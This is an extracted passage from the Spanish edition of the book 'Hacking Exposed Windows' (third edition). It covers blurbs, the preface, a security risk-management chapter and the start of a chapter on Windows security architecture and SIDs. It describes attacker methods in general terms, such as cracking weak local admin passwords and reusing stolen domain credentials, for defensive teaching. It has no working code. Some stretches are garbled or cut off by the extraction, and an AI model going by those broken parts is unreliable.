Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Hakers en Windows PDF
Hakers en Windows PDF
“Los autores y colaboradores de Hackers en Windows han tomado una vez más sus experiencias únicas y han
dado forma a una lectura obligatoria para los profesionales de seguridad y para aventureros de tecnología
por igual. De principio a fin, Hackers en Windows, tercera edición, elimina la ambigüedad al describir herra-
mientas y técnicas del moderno ciberbribón, dando armas al lector al eliminar este misterio. Los autores pa-
san a entregar el “platillo secreto” en la receta de la ciberseguridad y son especialistas en Infosecretos”.
—Greg Wood, CISO, Washington Mutual
“El paisaje de las amenazas a la seguridad ha experimentado cambios revolucionarios desde la primera edi-
ción de Hackers en Windows. La tecnología para explotar sistemas ha evolucionado de manera considerable
porque ahora se ha vuelto más disponible, lo que intensifica el riesgo de compromiso en este mundo que
cada vez se encuentra más en línea. Hackers en Windows sigue siendo la autoridad en el tema, al proporcionar
los conocimientos y la guía práctica que administradores de sistemas Windows y profesionales de seguridad
necesitan para estar bien equipados ahora y para el viaje que han emprendido”.
—Peter Boden, administrador general, Seguridad de servicios en línea, Microsoft
“El amigo venerable de Microsoft Windows cubre millones de líneas de código compiladas en un sistema
complejo, a menudo responsable de entregar servicios vitales a sus clientes. A pesar de las mejores intencio-
nes de sus creadores, todas las versiones de Windows seguirán siendo vulnerables a ataques en la capa de
aplicaciones, en el kernel, desde la red, y todo lo que queda en medio. Joel Scambray y sus colaboradores
proporcionan un catálogo muy completo de amenazas y contramedidas para Windows en una guía inmen-
samente legible. Si Windows es el vehículo de cómputo que debe asegurar, Hackers en Windows es su licencia
de manejo.”
—Jim Reavis, anterior director ejecutivo, Information Systems Security Association
“La seguridad en la computación está cambiando con Windows Vista y los hackers se han visto obligados a
aprender nuevos métodos de ataque. Por fortuna, usted tiene este libro”.
—Brad Albretch, administrador de programas de seguridad, Microsoft
“A medida que Microsoft sigue mejorando sus sistemas operativos, Hackers en Windows, tercera edición sigue
estando a la cabeza de la industria, ayudando a lectores a comprender amenazas reales al entorno de Win-
dows y enseñando cómo defenderse de esas amenazas. Cualquier persona que quiera ejecutar Windows de
manera segura, necesita una copia de este libro al lado de su PC.”
—James Costello (CISSP) especialista en seguridad de Tecnología de la información, Honeywell
Joel Scambray
Stuart mcclure
Traducción:
Eloy Píneda Rojas
Traductor profesional
ISBN: 978-0-07-149426-7
3456789012 8765432109
stuart Mcclure
Stuart McClure es consultor independiente de seguridad computacional del sur de California.
Antes de regresar a dirigir su propia empresa consultora, Stuart fue vicepresidente de seguridad
de Amenazas e investigación mundial para McAfee, donde dirigió a un equipo de élite de segu-
ridad mundial que combatió los más peligrosos ciberataques jamás vistos. McAfee compró
Foundstone (empresa líder global en administración de riesgo empresarial) en 2004, de la cual
Stuart fue fundador, presidente y director de Tecnología. Foundstone dio servicio a empresas
grandes, incluidas agencias del gobierno de Estados Unidos y clientes de las 500 empresas más
importantes, de acuerdo con la revista Fortune, para administrar y mitigar de manera continua
y medible riesgos para proteger sus activos digitales más importantes y la información privada
de los clientes ante amenazas críticas.
Ampliamente reconocido por su extenso y profundo conocimiento de productos de seguri-
dad, Stuart es considerado una de las autoridades líderes de la industria en seguridad de la in-
formación. Visionario reconocido de la seguridad, Stuart llevó casi 20 años de tecnología y
liderazgo ejecutivo a Foundstone con profunda experiencia técnica, operativa y financiera.
ix
xi
Auditoría ................................................................................................................................................. 46
Criptografía .................................................................................................................................. 47
El .NET framework ..................................................................................................................... 48
Resumen .................................................................................................................................................. 50
Referencias y lecturas adicionales........................................................................................................ 51
▼ 4 Enumeración .......................................................................................................... 73
Preludio: revisión de los resultados del rastreo ................................................................................. 74
Nombres de NetBIOS en comparación con direcciones IP ................................................... 74
Enumeración del servicio de nombres de NetBIOS .......................................................................... 77
Enumeración de RPC ............................................................................................................................. 82
Enumeración de SMB ............................................................................................................................ 84
Enumeración de DNS de Windows ................................................................................................... 101
Enumeración de SNMP ....................................................................................................................... 103
Enumeración de Active Directory...................................................................................................... 107
Herramientas de enumeración todo en uno......................................................................................111
Resumen .................................................................................................................................................112
Referencias y lecturas adicionales.......................................................................................................113
xvii
Es esta capacidad de ayudar a realizar evaluación acertada de riesgo lo que hace valioso a
Hackers en Windows. Hay pocos lugares donde puede echar una sola mirada al panorama de la
seguridad en que vive Windows. Joel y sus colaboradores han hecho un extraordinario trabajo
de documentar los últimos avances en amenazas, incluidas sobreflujos de búfer, rootkits y crea-
ción de secuencias de comandos de sitio cruzado, además de tecnologías defensivas como no
ejecutables, el Control de cuentas de usuario de Vista y la aleatorización del diseño del espacio
de direcciones. Si se comprende que la seguridad de Windows está en cualquier lugar de su tra-
bajo, le recomiendo que lea este libro de principio a fin y lo mantenga como una referencia para
su batalla constante.
–Mark Russinovich
Colaborador técnico, Microsoft Corporation
xix
xxi
En todo este libro, usamos la palabra Windows para referirnos al sistema basado en la plataforma
NOTA
“Nueva Tecnología” (NT) de Windows, incluidos NT 3.x-4.x, Windows 2000, Windows XP, Windows
Server 2003, Vista y Windows Server 2008. En contraste, aludiremos al linaje de Microsoft DOS/
Windows 1.x/3.x/9x/Me como la “familia DOS”.
• Recolección de información
• Rastreo
• Enumeración
• Explotación
• Saqueo
• Sigilo
Esta estructura forma la columna vertebral de este libro, porque sin una metodología, esto no
sería más que un montón de información sin contexto ni significado.
Hemos envuelto este esquema básico con los siguientes componentes adicionales:
Sabemos que está ocupado y que necesita ir al grano sin andarse por las ramas o usar termino-
logía innecesaria. Como alguna vez comentó un lector de la serie: “¡Se lee como si fuera una fic-
ción, y en verdad aterra!”.
Consideramos que estará tan satisfecho leyendo de principio a fin como haciéndolo parte
por parte, pero está construido para resistir cualquier tratamiento.
http://www.microsoft.com/technet/security/bulletin/MS##-###.asp
donde MS##-### representa el número real del boletín. Por ejemplo, MS07-039 sería el bole-
tín 39 de 2007.
En ocasiones usaremos también el ID de Bugtraq, o BID, que alude al número de seguimien-
to dado a cada vulnerabilidad por la famosa lista de correos y base de datos de vulnerabilidades
de Securityfocus.com. Esto permite que se busque la lista de Bugtraq directamente mediante el
siguiente URL:
http://www.securityfocus.com/bid/####
Sugerencia En todo este libro, también usamos un sistema común para hacer referencia a los artículos de la
base de datos de conocimientos de Microsoft (KB, Knowledge Base): http://support.microsoft.com/
?kbid=123456, donde 123456 representa el ID de seis dígitos del artículo.
NOTA
Sugerencia
precaución
Para destacar aquellos pequeños detalles que suelen pasarse por alto.
http://www.winhackingexposed.com
También proporciona un foro para hablar directamente con el principal autor mediante co-
rreo electrónico:
Joel@winhackingexposed.com
Esperamos que visite el sitio con frecuencia mientras recorre los capítulos para ver cualquier
material actualizado, obtener fácil acceso a las herramientas que mencionamos y mantenerse ac-
tualizado en el siempre cambiante rostro de la seguridad en Windows. De otra manera, nunca
sabrá cuáles nuevos desarrollos pueden poner en peligro su red antes de que se pueda defender
de ellos.
capítulo 1
e n t o s
a m
fund r i d a d
s e g u
de n a d a
l a c i o
re a c i ó n
i n f o r m
c o n
E
s difícil hablar de cualquier sistema en el vacío, sobre todo de un sistema que está des-
plegado de manera tan amplia y que juega tantos roles como Windows, en todas sus va-
riedades. En este capítulo se presenta una introducción a algunas posturas defensivas de
seguridad en los sistemas de información para que comprenda los elementos específicos
de Windows y esté mejor informado.
Plan
Respuesta Prevención
Detección
Plan
La seguridad es un concepto desafiante, sobre todo cuando se relaciona con la tecnología. Cuan-
do piense en la manera de proporcionar seguridad, es necesario que empiece por plantearse las
siguientes preguntas:
• ¿Cuál activo estoy tratando de asegurar?
• ¿Cuáles son los requisitos de seguridad del activo?
• ¿Cuáles son los riesgos singulares relacionados con esos requisitos de seguridad del
activo?
• ¿Cómo asigno prioridades y atiendo de manera más eficiente esos riesgos (sobre todo
los que tienen alto impacto, como los requisitos para cumplir con la industria y el
marco regulatorio)?
Estas preguntas describen un concepto de seguridad basado en riesgos, popularizado por
muchos practicantes modernos. Entre las metodologías bien conocidas de seguridad basadas en
riesgo se incluye el método de evaluación de amenazas, activos y vulnerabilidades operacional-
mente críticos (OCTAVE, Operationally Critical Threat, Asset, and Vulnerability Evaluation) de
CERT. Microsoft también promueve su propio método para administración de riesgos en esce-
narios de desarrollo de software, a los que denominan modelado de amenazas. Aquí articularemos
una adaptación muy simplificada de las mejores prácticas de administración de riesgos comu-
nes y recomendamos a los lectores interesados en conocer más detalles que consulten la sección
“Referencias y lecturas adicionales”, al final de este capítulo.
Empecemos con la determinación de los activos. Este ejercicio no es tan sencillo como podría
pensarse (los activos pueden ser el hardware del servidor, la información en una base de datos o
incluso algunas prácticas de fabricación con propietario). En realidad, a menudo resulta sor-
prendente que los clientes de asesoría no logren, en ocasiones, proporcionar una respuesta cohe-
rente a la simple pregunta “¿Cuáles son sus activos más importantes?”. Para empezar, por lo
general resulta útil hacer más estrecho el alcance de esta pregunta, tal vez limitándolo a los acti-
vos de información digital que se consideran valiosos para la organización. Por supuesto, los
vehículos físicos en que viajan los activos digitales (sean servidores de computadora, unidades
USB, monitores de kiosco o impresos en papel) también tienen una importancia fundamental
para la seguridad, pero es más fácil tomar en consideración esas relaciones más adelante, en el
proceso de evaluación de riesgos. También recomendamos posponer el análisis de los activos
menos tangibles, como la reputación, hasta que se haya adquirido primero alguna práctica en el
juego de la administración del riesgo.
Entre las categorías de activos de información digital que se deben tomar en cuenta se inclu-
yen credenciales (como contraseñas y claves criptográficas privadas), información para identifi-
cación personal (recuerde que la confidencialidad depende de que se otorgue consentimiento
para usos específicos), información o instrumentos financieros líquidos (como datos de tarjetas
de crédito), información de propietario (incluidos resultados financieros no informados o me-
todologías de trabajo) y la disponibilidad de capacidad productiva (incluido el acceso a sistemas
de operación, electricidad, etcétera).
Una vez que haya determinado cuáles activos está tratando de asegurar, su siguiente paso con-
siste en identificar los requisitos de seguridad de cada activo, si los hay. Al igual que con los acti-
vos, es muy útil clasificar los requisitos de seguridad en sus categorías más genéricas. Casi todas
las definiciones modernas de seguridad de los sistemas de información se centran alrededor de la
protección de la confidencialidad, la integridad y la disponibilidad (CIA, Confidenciality, Integrity
and Availability) de los activos importantes, de modo que esto es lo que se recomienda. Podría
considerarse otra A, para la Accountability (la responsabilidad o rendición de cuentas), con el fin de
capturar la noción de que el sistema también debe registrar la actividad de manera confiable para que
pueda examinarse o auditarse posteriormente (por ejemplo, mediante un registro de auditoría).
Sugerencia En este punto, podría considerar el agrupamiento de activos en clases con base en la confidencialidad
percibida por la organización. Esto puede arrojar un sistema de directivas y controles de apoyo para
cada tipo de activo. Por ejemplo, los activos de Alta Confidencialidad, como la información de tarjetas
de crédito, tal vez requieran cifrado cuando se almacenan o transmiten, mientras que los activos de
Baja Confidencialidad no lo requieran. Aquí, una vez más, deben tomarse en consideración los
requisitos de cumplimiento, como en el caso de los datos de tarjetas de crédito, que probablemente
caen bajo un estándar de seguridad de datos de la industria del pago con tarjeta o PCI DSS (Payment
Card Industry Data Security Standard).
Una vez establecidos los activos y los requisitos de seguridad, es hora de tomar en cuenta los
riesgos que enfrenta cada activo. A este proceso suele denominársele evaluación de riesgos. Exis-
ten varios métodos para la evaluación de riesgos, pero uno que recomendamos es el menos for-
mal: elaborar un diagrama lógico del sistema en cuestión, descomponerlo en las partes que lo
integran, prestar atención a los límites y las interfaces entre cada componente, además de los ac-
tivos clave, y hacer una lluvia de ideas sobre las posibles amenazas a la CIAA.
Sugerencia Entre algunos métodos más sistemáticos (pero no necesariamente superiores) para conceptualizar
amenazas se incluyen los árboles de ataques y la metodología de modelado de amenazas de
Microsoft. Consulte la sección “Referencias y lecturas adicionales”.
Cuantificación de riesgos
Una vez que haya obtenido una lista de amenazas, debe asignarles prioridades de manera sis-
temática de modo que puedan atenderse con eficiencia. Comprometer recursos excesivos pa-
ra mitigar amenazas de bajo riesgo puede ser tan dañino para una organización como mitigar
con lentitud las amenazas de alto riesgo, de modo que es importante dar este paso de manera
correcta.
Pueden usarse numerosos sistemas para cuantificar y clasificar los riesgos de seguridad. Un
método clásico y sencillo para la cuantificación de riesgos se ilustra con la siguiente fórmula:
Riesgo = Impacto × Probabilidad
Se trata de un sistema fácil de comprender, que incluso permite una mayor colaboración en-
tre intereses de trabajo y de seguridad dentro de la organización. Por ejemplo, la cuantificación
del impacto en los negocios podría delegarse a la oficina del director de finanzas y la estima-
ción de la probabilidad podría asignarse al director de seguridad, o sus equivalentes. Esto pro-
duce una división inteligente del trabajo y la responsabilidad cuando se trata de la administración
de riesgo para una organización en general.
En este sistema, el impacto suele expresarse en términos monetarios y la probabilidad como un
porcentaje entre 0 y 100%. Por ejemplo, una vulnerabilidad con un impacto de 100 000 dólares y una
probabilidad de 30% tiene una clasificación de riesgo de 30 000 dólares (100 000 dólares por 0.30).
Los estimados económicos como éste suelen llamar la atención de la administración y constituyen
una manera más práctica de cuantificar el riesgo. La ecuación puede incluir aún más componentes,
al dividir Impacto en (Activos × Amenazas) y Probabilidad en (Vulnerabilidades × Mitigación).
Sugerencia
Hemos visto modelos de riesgo que factorizan aún más los componentes. Por ejemplo, si el com-
ponente A del sistema tiene 3 vulnerabilidades de alto riesgo, pero el componente A está conectado
a otro sistema en una configuración completamente confiable que tiene 12 vulnerabilidades, podría
calcular una superficie de vulnerabilidad total de (3 + 12)2, o el cuadrado de la suma de las
vulnerabilidades.
Directiva
Evidentemente, las medidas óptimas que hay que tomar en relación con los riesgos que están
documentados durante el proceso de evaluación son mitigarlos o eliminarlos (aunque existen
otras opciones, incluida la transferencia del riesgo mediante la compra de seguros, o su acepta-
ción tal como están). La determinación del plan de mitigación para estos riesgos es el meollo de
la fase de planeación: el desarrollo de una directiva.
La directiva es central para la seguridad; sin ella, la seguridad es imposible. ¿Cómo puede
considerarse algo como una violación de seguridad sin una directiva para definirla? La directiva
define la manera en que se mitigan de manera continua los riesgos a los activos. Por tanto, debe
basarse firmemente en el proceso de evaluación de riesgos.
Una vez dicho esto, una directiva de seguridad organizacional fuerte empieza con una
buena plantilla. Recomendamos el marco conceptual de la directiva ISO 17799, que se ha vuelto
muy popular como marco para directiva de seguridad, desde que se convirtió en un estándar
internacional. ISO 17799 se ha incorporado en los nuevos estándares de la serie ISO 27000, que
abarca un rango de estándares y prácticas de administración de seguridad de la información (de
manera similar a la serie ISO 9000 de estándares de aseguramiento de calidad, que tienen un uso
extendido). ISO 27001 incluye un marco conceptual de controles para la implementación y me-
dición del cumplimiento con los estándares de la directiva. Entre otros marcos conceptuales po-
pulares de control se incluyen CobiT, COSO e ITIL. (Consulte la sección “Referencias y lecturas
adicionales” para conocer vínculos con información sobre estos estándares).
Otro gran dividendo que surge del hecho de basar su directiva en estándares ampliamente
aceptados como ISO 17799 es la agilidad mejorada para satisfacer regímenes impositivos en evo-
lución como éstos:
• Acta Sarbanes-Oxley de 2002 (SOX), que obliga a las empresas de Estados Unidos
de manera pública a implementar, evaluar y reportar controles internos sobre sus
informes, operaciones y activos financieros.
• Basel II: la convergencia internacional de medidas de capital y estándares de capital: un
marco conceptual revisado que analiza estándares internacionales para medición de la
adecuación del capital de un banco con base en el riesgo medido (incluido el riesgo
operacional, como seguridad del sistema de información).
• Estándar de seguridad de datos de la industria del pago con tarjeta (PCI DSS, Payment
Card Industry Data Security Standard) para cualquier entidad que procesa, almacena
o transmite información de tarjetas de crédito de emisores importantes, como Visa,
MasterCard y American Express.
• Acta de Portabilidad y responsabilidad de seguros médicos de 1996 (HIPAA,
Health Insurance Portability and Accountability Act), que especifica una serie de
procedimientos administrativos, técnicos y físicos de seguridad que deben usar las
entidades cubiertas para que aseguren la confidencialidad de la información protegida
electrónica relacionada con la salud.
• Acta Gramm-Leach-Bliley de 1999 (GLBA) que regula la información financiera
personal de los consumidores de Estados Unidos mantenida por instituciones
financieras.
• Leyes de notificación de violaciones de seguridad que evolucionan en muchos estados
de la Unión Americana hoy (como la SB 1386 de California).
Aunque la organización a la que pertenezca no esté cubierta por una de estas regulaciones
(¡y le apostamos a que lo está de alguna manera!), tal vez sólo sea cuestión de tiempo antes de
que necesite cumplir con sus estatutos, de una forma u otra. Aunque considere que la organiza-
ción debe satisfacer alguna especie de requisitos impositivos obligatorios, nunca se pondrá el
énfasis suficiente en la eficiencia que se obtendrá al volver a usar un marco conceptual de pro-
grama de seguridad para cumplir con la sopa de letras en evolución de los requisitos impositi-
vos que enfrentan las empresas modernas de hoy en día. Y tenemos la experiencia para probarlo,
porque hemos diseñado e implementado personalmente una directiva de seguridad basada en
ISO 17799 que pasó con éxito las auditorías de cumplimiento para SOX, GLBA, PCI y otras ac-
ciones de imposición regulatoria de una vez del gobierno de Estados Unidos.
Aunque nunca está de más destacar la importancia de satisfacer los requisitos en evolución,
tal vez a las organizaciones más pequeñas, con alcances más estrechos, les resulte pesado pla-
near e implementar los estándares ISO y los marcos conceptuales de soporte. En el caso de orga-
nizaciones de todos tamaños, una colección buena (pero costosa) de directivas de seguridad
preescritas es la Information Security Policies Made Easy, de Charles Cresson Woods (Information
Shield, 2005). También se recomienda la lectura de las RFC 2196 y 2504, “Site Security Hand-
book” y “User Handbook”, respectivamente, para obtener buenas ideas sobre directivas.
Una búsqueda simple en Internet de “directivas de seguridad de información” también pro-
porcionará buenos ejemplos, como las de muchas instituciones educativas que publican sus di-
rectivas en línea. Un análisis del desarrollo y el mantenimiento de directivas de seguridad para
organizaciones está fuera del alcance de este libro. Sin embargo, he aquí algunas sugerencias:
Comprensión del negocio Los practicantes de la seguridad deben comprender primero el negocio
que pretenden ayudar a proteger; la comprensión de las operaciones de trabajo crea el vocabu-
lario para permitir una conversación constructiva y lleva a ser percibido como una persona que
permite que pasen las cosas, en lugar de ser un estorbo. De acuerdo con nuestra experiencia, los
practicantes de la seguridad necesitan, por lo general, madurar más en este departamento, a fin
de presentar los riesgos en la seguridad de la información en los términos apropiados del nego-
cio. Sabemos por experiencia que concentrarse en los métodos de colaboración para medir el
riesgo e implementar controles medibles es siempre una manera más inteligente de obtener re-
cursos de los líderes de los negocios.
Convencimiento cultural Convenza a la administración de que lea y apoye por completo la direc-
tiva. La administración es la que la impone finalmente, y si los directivos no creen que es correc-
ta, pasará momentos extraordinariamente difíciles logrando que cualquier persona de la organi-
zación la siga. Considere la creación de un cuerpo de gobierno que incluya accionistas clave de
la organización, con responsabilidades definidas, para que la directiva evolucione y se imponga
a largo plazo.
Al mismo tiempo, reconozca que el convencimiento de los ejecutivos sólo es útil si a éstos los
escucha el personal de la compañía, lo que no siempre es el caso, de acuerdo con nuestra expe-
riencia. En cualquier medida, siempre es necesario algún nivel de trabajo de convencimiento
entre los trabajadores de base, sin importar cuán firmemente respalde la administración la direc-
tiva. De otra manera, no será adoptada en la extensión que se requiere para hacer cambios
importantes a la seguridad. Debe asegurarse de predicar el programa de seguridad en todos los
niveles de la organización y aplicar un programa piloto para asegurar el convencimiento am-
plio, además de que será percibido como un mecanismo razonable y práctico a fin de mejorar la
postura de seguridad de la organización (y por tanto, las ganancias). Esto mejorará en gran
medida las posibilidades de convertirse en parte de la cultura en lugar de ser sólo un proceso
molesto del que todos se burlan (piense en los reportes de TPS en la película Office Space).
Método de varios niveles Elabore un borrador de la directiva real como una declaración de alto
nivel de principios guía e intenciones, y luego cree estándares de implementación y procedi-
mientos de operación detallados que apoyen los mandatos de la directiva. Este método de varios
niveles, jerárquico, crea una modularidad que facilita el mantenimiento de la directiva a largo
plazo, al proporcionar flexibilidad para cambiar los detalles de la implementación sin necesidad
de un ciclo completo de revisión y cambio de la directiva.
Proceso para excepciones, cambios La única constante es el cambio y eso también es válido para
las directivas de seguridad. Espere que la organización haga solicitudes de excepciones a la di-
rectiva y quiera cambiar ésta a intervalos regulares. Usted necesitará crear un proceso para que
sea posible esto. Recomendamos al menos revisiones anuales y también un proceso especial
para excepciones y cambios urgentes.
Prevención
La necesidad de establecer varios controles preventivos probablemente se volverá obvia du-
rante el proceso de evaluación de riesgos y desarrollo de la directiva. En este libro se describi-
rán contramedidas técnicas específicas para todos los ataques que analizaremos pero, ¿qué tipo
de medidas proactivas más amplias deben aplicarse para mitigar los riesgos, imponer la directi-
va de seguridad, disuadir a los atacantes y promover una buena higiene de seguridad? Deben
tomarse en consideración los siguientes elementos:
• Educación y capacitación
• Comunicaciones
• Operaciones de seguridad
• Arquitectura de seguridad
La educación y la capacitación son las maneras más obvias de escalar un esfuerzo de seguri-
dad en toda una organización. Las comunicaciones pueden apoyar este esfuerzo al programar
actualizaciones regulares para el personal de línea y la administración superior, además de ha-
cer que la información fluya entre el resto de la organización y el grupo de seguridad. (Recuerde
que no existe la seguridad en el vacío).
Entre las operaciones de seguridad se incluyen las tareas generales de seguridad, como
administración de parches de seguridad, protección contra el malware, control de acceso
(tanto físico como lógico), control de ingresos y egresos en la red, monitoreo y respuesta de se-
guridad y administración de cuentas y grupos de seguridad. En este libro se tratarán las mejores
prácticas en todas estas áreas.
Por último, y tal vez lo que es más importante, cierta parte de la organización de seguridad
necesita adoptar una perspectiva proactiva, que mire hacia delante. El trabajo de un arquitecto
de seguridad es particularmente relevante para el desarrollo de aplicaciones, que debe seguir
estándares y directrices estrictos con el fin de evitar la perpetuación de los muchos errores que
ocurren en forma inevitable en el proceso de desarrollo de software. Además, este arquitec-
to puede realizar evaluaciones regulares de la arquitectura de seguridad del software, la red y
la plataforma, midiéndolos y comparándolos contra estándares y tecnologías en evolución para
asegurarse que la organización mantiene el paso de los avances más recientes en seguridad.
Detección
Un documento con la directiva es estupendo pero, ¿qué tan buena será la directiva si no se pue-
de saber si alguien la está siguiendo? Mucho del material de este libro se concentra en la parte
Respuesta
Al dar otra vuelta a la rueda de la seguridad, llegamos a la Respuesta. Suponiendo que en la fase
de Detección se identifica una vulnerabilidad de seguridad (o una violación real, ¿por qué no?),
el siguiente paso consiste en analizar y actuar (¡posiblemente muy rápido!) Entre algunos de
los elementos clave de la parte de Respuesta del ciclo de vida de la seguridad se incluyen los si-
guientes:
Pulimento y repetición
Antes de que cerremos el breve análisis del marco conceptual de Plan, Prevención, Detección y
Respuesta, destacaremos de nuevo la naturaleza cíclica del modelo. Es necesario practicar
y cotejar un análisis regular de la información reunida durante la fase de Detección y a partir
del análisis post mortem de las actividades de Respuesta y luego debe alimentarse de nuevo
el aprendizaje relevante a la siguiente vuelta del ciclo de vida de la seguridad, empezando
con el Plan. Cualquier organización que no aprende de la historia está condenada a repetirla y,
por tanto, es más importante invertir en este aspecto del ciclo de vida de la seguridad. También
es una estupenda idea hacer que participen accionistas clave del negocio en este proceso,
porque es probable que las iniciativas estratégicas del negocio tengan un gran impacto sobre
el lugar donde deben hacerse inversiones en la seguridad de la información en el próximo pre-
supuesto.
En el resto de este capítulo, delinearemos algunos principios básicos de seguridad en los que
se basará su directiva o que habrán de considerarse mientras recorre el resto de este libro.
Limite la confianza
Ningún sistema es una isla, sobre todo con Windows. Uno de los ataques más efectivos que usa-
mos contra las redes de Windows es la explotación de la computadora de un miembro de domi-
nio poco importante, con una contraseña de administrador local débil. Luego, al usar las técni-
cas analizadas en el capítulo 6, extraemos las credenciales de un usuario de dominio válidas de
esta computadora, que permite poner un pie en toda la infraestructura de dominio y posible-
mente los dominios que confían en el actual. Reconozca que toda relación de dominio que se
establezca, ya sea una confianza de dominio formal de Windows o simplemente una contraseña
almacenada en un archivo de procesamiento por lotes en una computadora remota, expande la
periferia de la seguridad y aumenta sus riesgos.
Un corolario a esta regla es que debe prohibirse explícitamente el reciclaje de contrase-
ñas. Son innumerables el número de veces que hemos derribado un solo sistema de Windows,
crackeado las contraseñas de un puñado de cuentas y descubierto que estas credenciales nos
permitían acceder a todos los demás sistemas de la red (conmutadores de sistema telefónico, ser-
vidores de bases de datos de UNIX, terminales de mainframes, aplicaciones Web, lo que usted
prefiera).
RESUMEN
Al seguir las mejores prácticas delineadas en este capítulo habrá establecido los fundamentos
sólidos para la seguridad en el sistema de información de su organización. En el resto de este
libro, pasaremos a las partes específicas de Windows y los desafíos únicos que presenta para
quienes desean mantenerlos seguros.
capítulo 2
c t u r a
q u i t e
La a r a d
g u r i d
de s e s
i n d o w
de w
d e L a
des va
s p e c t i
pe r r
h a c k e
de L
15
A
ntes de que nos crackeen (perdón por el juego de palabras) en Windows, es importante
que comprenda al menos parte de la arquitectura de seguridad básica del producto.
Este capítulo está diseñado para establecer esa base. Está destinado sobre todo a quie-
nes no se encuentren íntimamente familiarizados con parte de la funcionalidad de seguridad
básica de Windows, de modo que se advierte a los viejos profesionales que omitan este análisis
y pasen directo a lo sustancial del capítulo 3.
No se pretende que sea un análisis exhaustivo, profundo de la arquitectura de seguridad de
Windows. Varias buenas referencias para este tema pueden encontrarse en la sección “Referen-
cias y lecturas adicionales” que se ubica al final del capítulo. Además, recomendamos encareci-
damente que lea el capítulo 12 para conocer un análisis detallado de las características específicas
de seguridad en Windows, que pueden usarse para contrarrestar muchos de los ataques anali-
zados en todo el libro.
Nuestro enfoque en este capítulo consiste en dar la información suficiente para permitirle
comprender el objetivo principal de los atacantes de Windows:
Ejecutar comandos en el contexto más privilegiado, para obtener acceso a recursos y datos.
Empecemos por introducir algunos de los conceptos fundamentales necesarios para desen-
trañar esta afirmación.
Nota A menos que se especifique de otra manera, todas las referencias a Windows en este capítulo aludirán
a la familia de sistemas operativos de Windows NT, incluidos Windows Server 2008, Vista, Server 2003,
XP, 2000 y NT.
INTRODUCCIÓN
Es difícil describir algo tan complejo como Windows en unos cuantos párrafos y ni siquiera tra-
taremos de hacerlo. En cambio, vamos a proporcionar una descripción muy simplificada de la
arquitectura de seguridad de Windows, prestando mucha atención a puntos que han recibido
ataques en el pasado.
Tal vez la observación inicial más obvia sobre la arquitectura de Windows es que es de dos
capas. La capa más privilegiada de código de sistema operativo se ejecuta en un denominado
modo de kernel y tiene, en efecto, acceso irrestricto a los recursos del sistema. La funcionalidad
en modo de usuario tiene un acceso mucho más restringido y debe solicitar servicios del kernel en
muchos casos para completar ciertas tareas, como ingresar recursos de hardware, autentifica-
ción de usuarios y modificación del sistema.
Con base en esta simple separación, podemos contemplar dos metodologías básicas de ata-
que: ataque al kernel y ataque al modo de usuario. Estos métodos básicos se ejemplifican en la
figura 2-1, que muestra a un hacker malicioso ingresando el kernel mediante la interfaz física
dispositivo/medio, y también atacando un contexto de seguridad de modo de usuario al com-
prometer las credenciales de un usuario válido del sistema. (Tome en cuenta que el atacante tam-
bién puede comprometer luego el kernel si hackea un contexto de usuario administrativo).
Exploremos ambos métodos de manera más detallada.
Figura 2-1 Ataque a la seguridad de Windows empleando los métodos de kernel y de modo de
usuario
Ataque al Kernel
La interfaz en modo de kernel es un límite obviamente atractivo que históricamente los atacan-
tes han buscado cruzar. Si alguien puede insertar código de su elección en el modo de kernel, el
sistema quedará comprometido por completo (como verá en los capítulos 6 y 8). Como podría
imaginar, Windows proporciona barreras importantes a la ejecución de código arbitrario en el
modo de kernel, y por lo general es muy difícil hacerlo para entidades de bajos privilegios.
Por supuesto, siempre hay excepciones. Pueden ocurrir dos clases principales de compromi-
sos del modo de kernel.
• Ataques lógicos contra estructuras críticas del sistema operativo que proporcionan
acceso al modo de kernel. Estas estructuras incluyen ciertas imágenes protegidas del
kernel (como ntoskrnl.exe, hal.dll y ndis.sys), la tabla descriptora global (GDT,
Global Descriptor Table) y la tabla descriptora de interrupciones (IDT, Interrupt
Descriptor Table), la tabla descriptora de servicios del sistema (SSDT, System
Service Descriptor Table), ciertos registros específicos del modelo o procesador (MSR,
Model Specific Registers) y algunas rutinas internas que el kernel usa para depuración.
A partir de las versiones de 64 bits de Vista, Microsoft implementó un sistema de protección llamado
Nota PatchGuard para tratar de proteger cada uno de esos puntos de entrada lógicos al kernel. Consulte la
sección “Referencias y lecturas adicionales” de este capítulo a fin de conocer los métodos publicados para
omitir el PatchGuard. Microsoft también implementó firma obligatoria de controladores del kernel y
prevención de ejecución de datos (DEP, Data Execution Prevention) del hardware en versiones de 64 bits.
Los ataques contra el kernel suelen requerir gran sofisticación y no son comunes. Por su-
puesto, una vez que se concibe e implementa un ataque, las explotaciones preempaquetadas es-
critas por atacantes sofisticados y distribuidas ampliamente en Internet pueden elevar de
manera importante la prevalencia de esos ataques. Otro factor mitigante es que la variedad “ló-
gica” de los ataques al kernel suelen requerir privilegios de usuario sustanciales en el sistema.
Los que nos trae a nuestra segunda metodología de ataque y a la que dedicaremos la mayor par-
te en este libro.
DIRECTIVAS DE SEGURIDAD
Como se indicó antes, el sujeto fundamental dentro de Windows es el proceso. También se dijo
que los procesos deben estar asociados con una cuenta de usuario con el fin de acceder a los ob-
jetos asegurables. En esta sección se explorarán los diversos tipos de cuentas en Windows, por-
que son la base para casi todos los ataques contra el control de acceso.
Windows ofrece tres tipos de cuentas fundamentales, llamados directivas de seguridad:
• Usuarios
• Grupos
• Equipos
Analizaremos en breve cada uno de ellos con mayor detalle, después de tomar un breve des-
vío para analizar los SID.
Con el advenimiento de los SID específicos del servicio en Vista (consulte “Endurecimiento del servicio”
Nota
en el capítulo 12), se diría que los servicios también podrían considerarse directivas, aunque Microsoft
no ha cambiado formalmente su terminología.
SID
En Windows, las directivas de seguridad suelen tener nombres amigables, como Administrador
o Administradores de dominio. Sin embargo, la familia NT manipula estos objetos de manera
interna utilizando un número globalmente único de 48 bits llamado identificador de seguridad o
SID. Esto evita que el sistema confunda la cuenta local de Administrador del equipo A con la
cuenta local de Administrador con el mismo nombre del equipo B, por ejemplo.
El SID incluye varias partes. Echemos un vistazo a un SID simple:
S-1-5-21-1527495281-1310999511-3141325392-500
Un SID tiene el prefijo S y sus diversos componentes están separados con guiones. El primer
valor (en este ejemplo 1) es el número de revisión, y el segundo es el valor de identificador de
autoridad. Luego cuatro valores de subautoridad (21 y las tres cadenas largas de números, en este
ejemplo) y un identificador relativo (RID, Relative Identifier, que en este ejemplo es 500) integran
el resto del SID.
Al parecer, los SID son complicados, pero el concepto importante que debe comprender es
